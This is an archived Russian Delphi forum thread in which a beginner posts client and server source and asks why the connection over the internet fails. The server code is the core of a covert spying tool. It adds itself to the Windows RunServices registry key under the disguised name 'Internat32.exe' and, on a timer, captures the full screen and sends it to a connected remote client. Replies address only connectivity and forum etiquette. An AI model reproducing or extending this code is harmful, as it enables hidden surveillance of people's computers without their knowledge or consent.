Форум: "Начинающим";
Текущий архив: 2009.01.18;
Скачать: [xml.tar.bz2];
ВнизTServerSocket и интернет Найти похожие ветки
← →
Sasha (2008-12-02 13:27) [0]Подскажите пожалуйста можно с помощью компонентов TServerSocket и TClientSocket соединять сервер и клиент через интернет, зная IP, где находится сервер?
← →
Сергей М. © (2008-12-02 13:31) [1]Можно.
← →
Sasha (2008-12-02 13:36) [2]А каким образом? Вот мой код:
Клиентunit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, ExtCtrls, ComCtrls, StdCtrls, jpeg;
type
TForm1 = class(TForm)
ClientSocket1: TClientSocket;
StatusBar1: TStatusBar;
Label1: TLabel;
Label2: TLabel;
Edit1: TEdit;
Image1: TImage;
Button1: TButton;
procedure Writing(Text: string);
procedure FormDestroy(Sender: TObject);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
Name: string; // Имя файла
Size: integer; // Размер файла
Receive: boolean; // Режим клиента
MS: TMemoryStream; // Буфер для файла
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormDestroy(Sender: TObject);
begin
ClientSocket1.Close; // Закрываем сокет
end;
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := "Соединение установлено";
end;
procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := "Соединение не установлено";
end;
procedure TForm1.Writing(Text: string);
begin
if MS.Size < Size then // Если принято байт меньше размера файла, то...
MS.Write(Text[1], Length(Text)); // Записываем в буфер
// Выводим прогресс закачки файла
StatusBar1.SimpleText := "Принято "+IntToStr(MS.Size)+" из "+IntToStr(Size);
if MS.Size = Size then // Если файл принят, то...
begin
Receive := false; // Переводим клиента в нормальный режим
MS.Position := 0; // Переводим каретку в начало буфера
MS.SaveToFile("1.jpg"); // Сохраняем файл
ClientSocket1.Socket.SendText("end"); // Посылаем команду "end", то есть файл принят
MS.Free; // Убиваем буфер
image1.Picture.LoadFromFile("1.jpg");
StatusBar1.SimpleText := "Файл принят";
deletefile("1.jpg");
end;
end;
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket); var Rtext: string; // Принятый текст
begin
Rtext := Socket.ReceiveText;
if Receive then // Если клиент в режиме приёма файла, то...
Writing(RText) // Записываем данные в буфер
else // Если клиент не в режиме приёма файла, то...
if Copy(Rtext, 0, Pos("#", Rtext) -1) = "file" then // Если это файл, то...
begin MS := TMemoryStream.Create; // Создаём буфер для файла
Delete(Rtext, 1, Pos("#", Rtext)); // Определяем имя файла
Name := Copy(Rtext, 0, Pos("#", Rtext) -1); // Определяем имя файла
Delete(Rtext, 1, Pos("#", Rtext)); // Определяем размер файла
Size := StrToInt(Copy(Rtext, 0, Pos("#", Rtext) -1)); // Определяем размер файла
Delete(Rtext, 1, Pos("#", Rtext)); // Удаляем последний разделитель
Label1.Caption := "Размер файла: "+IntToStr(Size)+" байт"; // Выводим размер файла
Label2.Caption := "Имя файла: "+Name; // Выводим имя файла
Receive := true; // Переводим сервер в режим приёма файла
Writing(RText); // Записываем данные в буфер
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Open; // Открываем сокет
Receive := false; // Режим клиента - приём команд
end;
end.
Серверunit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ScktComp,JPEG, ComCtrls, ExtCtrls,Registry;
type
TForm1 = class(TForm)
Button1: TButton;
ServerSocket1: TServerSocket;
StatusBar1: TStatusBar;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
MS: TMemoryStream; // Буфер для файла
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var regIni:TRegIniFile;
begin
regIni:=TRegIniFile.Create("Software");
regini.RootKey:=HKEY_LOCAL_MACHINE;
regini.OpenKey("Software", true);
regini.OpenKey("Microsoft", true);
regini.OpenKey("Windows", true);
regini.OpenKey("CurrentVersion", true);
regini.WriteString("RunServices","Internat32.exe", Application.ExeName);
regini.Free;
ServerSocket1.Open; // Открываем сокет
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Close; // Закрываем сокет
end;
procedure TForm1.Button1Click(Sender: TObject); var
Size: integer; JpegIm: TJpegImage;
bm: TBitMap;
P: ^Byte;
begin
bm := TBitMap.Create;
bm.Width := Screen.Width;
bm.Height := Screen.Height;
BitBlt(bm.Canvas.Handle, 0, 0, bm.Width, bm.Height, GetDC(0), 0, 0, SRCCOPY);
JpegIm := TJpegImage.Create;
JpegIm.Assign(bm);
JpegIm.CompressionQuality := 50;//Качество сжатия, в процентах
JpegIm.Compress;
JpegIm.SaveToFile("1.jpg");
MS := TMemoryStream.Create; // Создаём буфер для файла
MS.LoadFromFile("1.jpg"); // Загружаем файл в буфер
// Посылаем информацию о файл (команда # название # размер)
ServerSocket1.Socket.Connections[0].SendText("file#"+"1.jpg"+"#"+IntToStr(MS.Size)+"#");
MS.Position := 0; // Переводим каретку в начало файла
P := MS.Memory; // Загружаем в переменную "P" файл
Size := ServerSocket1.Socket.Connections[0].SendBuf(P^, MS.Size); // Посылаем файл
bm.Destroy ;JpegIm.Destroy;
deletefile("1.jpg")
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
if Socket.ReceiveText = "end" then // Если клиент принял файл, то...
begin
StatusBar1.SimpleText := "Клиент принял файл";
MS.Free; // Убиваем буфер
end;
end;
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
timer1.Enabled:=true;
StatusBar1.SimpleText := "Соединение установлено";
end;
procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := "Соединение не установлено";
Timer1.Enabled:=false;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Button1.Click;
{if StatusBar1.SimpleText = "Соединение установлено" then button1.Click;
}end;
end.
и при задании адреса немного думает и выдает ошибку, что сервер не найден
← →
Сергей М. © (2008-12-02 13:43) [3]
> при задании адреса немного думает и выдает ошибку, что сервер
> не найден
Ну значит не найден. Почему бы этому не поверить ?
Я так понял, что ты ничерта не вынес из предудущего обсуждения твоего же вопроса
http://delphimaster.net/view/2-1228125086/
ибо вновь тычешь сюда код с теми же логическими ошибками.
Что в лоб, как говорится, что по лбу)
← →
stas © (2008-12-02 14:22) [4]Sasha (02.12.08 13:27)
У тебя ping с этим IP работает?
← →
Slym © (2008-12-02 17:03) [5]скока можно? поиском пользуемся?
http://delphimaster.net/view/2-1228125086/
← →
Сергей М. © (2008-12-02 18:56) [6]
> Slym
Ну и чего ради, спрашивается, ты пыжился в той ветке ?)
Автор даже медвежьими услугами пользоваться не умеет)
Страницы: 1 вся ветка
Форум: "Начинающим";
Текущий архив: 2009.01.18;
Скачать: [xml.tar.bz2];
Память: 0.5 MB
Время: 0.005 c